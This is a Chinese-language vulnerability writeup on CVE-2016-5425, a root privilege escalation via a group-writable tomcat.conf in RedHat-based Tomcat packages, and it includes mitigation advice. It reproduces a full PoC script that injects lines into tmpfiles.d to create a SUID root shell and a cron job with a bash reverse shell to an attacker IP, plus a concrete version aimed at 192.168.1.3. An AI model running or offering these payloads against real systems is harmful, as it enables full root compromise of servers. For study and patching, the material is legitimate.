首页 > 代码库 > 基于RedHat发行的Apache Tomcat本地提权漏洞

基于RedHat发行的Apache Tomcat本地提权漏洞

描述

Tomcat最近总想搞一些大新闻,一个月都没到,Tomcat又爆出漏洞。2016年10月11日,网上爆出Tomcat本地提权漏洞,漏洞编号为CVE-2016-5425。此次受到影响的主要是基于RedHat发行版Apache Tomcat,包括CentOS,RedHat,OracleLinux,Fedora等等。主要原因是普通Tomcat用户拥有权限来对/usr/lib/tmpfiles.d/tomcat.conf这个配置文件进行读写,那么该用户组成员或者拥有普通Tomcat权限的WebShell可以将权限提升至root级别。

漏洞描述

基于RedHat发行版的Tomcat安装后,tomcat组用户对tomcat.conf文件具有写权限,如下

[root@localhost ~]# ls -al /usr/lib/tmpfiles.d/tomcat.conf 
-rw-rw-r--. 1 root tomcat 43 May 12  2015 /usr/lib/tmpfiles.d/tomcat.conf

tmpfiles.d目录下的配置文件是systemd-tmpfiles用于管理临时文件的,攻击者可以非常容易的注入恶意payload进tomcat.conf文件,比如新建一个反弹SHELL,新建一个具有SUID权限的文件。当/usr/bin/systemd-tmpfiles执行的时候,注入的payload也会随之得到执行。

在REDHAT发行版,默认启动后,systemd-tmpfiles会通过systemd-tmpfiles-setup.service服务得到执行,如下:

[root@localhost www]# cat /usr/lib/systemd/system/systemd-tmpfiles-setup.service |grep ExecStart
ExecStart=/usr/bin/systemd-tmpfiles --create --remove --boot --exclude-prefix=/dev

依赖于系统使用,systemd-tmpfiles也可以通过其他服务,cronjobs,启动脚本,等方式来触发。值得说明的另外一个地方是, systemd-tmpfiles不会因为配置文件中的语法错误导致报错停止。因此攻击者可以很容易的注入恶意PAYLOAD到/usr/lib/tmpfiles.d/tomcat.conf

根据下面的POC,我们可以看到,·被注入到tomcat.conf ,意思是反弹SHELL,并新建一个具有SUID权限的shell,具体C,z,F的含义,我们可以通过 man 5 tmpfiles.d来查看。

C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
z /usr/share/tomcat/rootsh 4770 root root -
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1

POC

-----------[ tomcat-RH-root.sh ]---------
  
#!/bin/bash
# Apache Tomcat packaging on RedHat-based distros - Root Privilege Escalation PoC Exploit
# CVE-2016-5425
#
# Full advisory at:
# http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html
#
# Discovered and coded by:
# Dawid Golunski
# http://legalhackers.com
#
# Tested on RedHat, CentOS, OracleLinux, Fedora systems.
#
# For testing purposes only.
#
  
ATTACKER_IP=127.0.0.1
ATTACKER_PORT=9090
  
echo -e "\n* Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 *"
echo -e  "  Discovered by Dawid Golunski\n"
echo "[+] Checking vulnerability"
ls -l /usr/lib/tmpfiles.d/tomcat.conf | grep ‘tomcat‘
if [ $? -ne 0 ]; then
    echo "Not vulnerable or tomcat installed under a different user than ‘tomcat‘"
    exit 1
fi
echo -e "\n[+] Your system is vulnerable!"
  
echo -e "\n[+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf..."
cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf
C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
z /usr/share/tomcat/rootsh 4770 root root -
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1 & \n\n"
_eof_
  
echo "[+] /usr/lib/tmpfiles.d/tomcat.conf contains:"
cat /usr/lib/tmpfiles.d/tomcat.conf
echo -e "\n[+] Payload injected! Wait for your root shell...\n"
echo -e "Once ‘/usr/bin/systemd-tmpfiles --create‘ gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.), 
the rootshell will be created in /usr/share/tomcat/rootsh. 
Additionally, a reverse shell should get executed by crond shortly after and connect to $ATTACKER_IP:$ATTACKER_PORT \n"
 --------------[ eof ]--------------------

本地测试:

1.先确定下本地LINUX发行版本和TOMCAT版本。

技术分享

2.切换到tomcat组权限下,附加恶意payload到/usr/lib/tmpfiles.d/tomcat.conf文件中

技术分享

cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/192.168.1.3/9999 0<&1 2>&1 & \n\n"
_eof_

3.root权限下手动触发/usr/bin/systemd-tmpfiles –create [这步比较鸡肋,依赖系统有其他服务,cronjobs,启动脚本来触发,如果系统有,则好,如果没有,这个漏洞相对利用来说,需要触发systemd-tmpfiles,有点鸡肋]

[root@localhost Desktop]# /usr/bin/systemd-tmpfiles --create

4.获取反弹ROOT权限的SHELL

漏洞影响

攻击者可以在具有tomcat权限时,通过改写配置文件实现本地提权到ROOT权限。如果远程攻击者结合特定的WEB应用程序漏洞,也可以实现远程利用。

影响的版本

CentOS

Fedora

Oracle Linux

RedHat

Redhat官网细节:https://access.redhat.com/security/cve/CVE-2016-5425

解决办法

临时修复建议

可以调整/usr/lib/tmpfiles.d/tomcat.conf权限,移除tomcat组的写权限。

chmod 644  /usr/lib/tmpfiles.d/tomcat.conf

更新最新Tomcat包

Redhat安全小组已经在第一时间修复了受影响的Tomcat上游包,直接更新发行版提供的Tomcat即可。

参考

http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html

http://legalhackers.com/exploits/tomcat-RH-root.sh

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5425

https://access.redhat.com/security/cve/CVE-2016-5425

http://bobao.360.cn/learning/detail/3090.html

基于RedHat发行的Apache Tomcat本地提权漏洞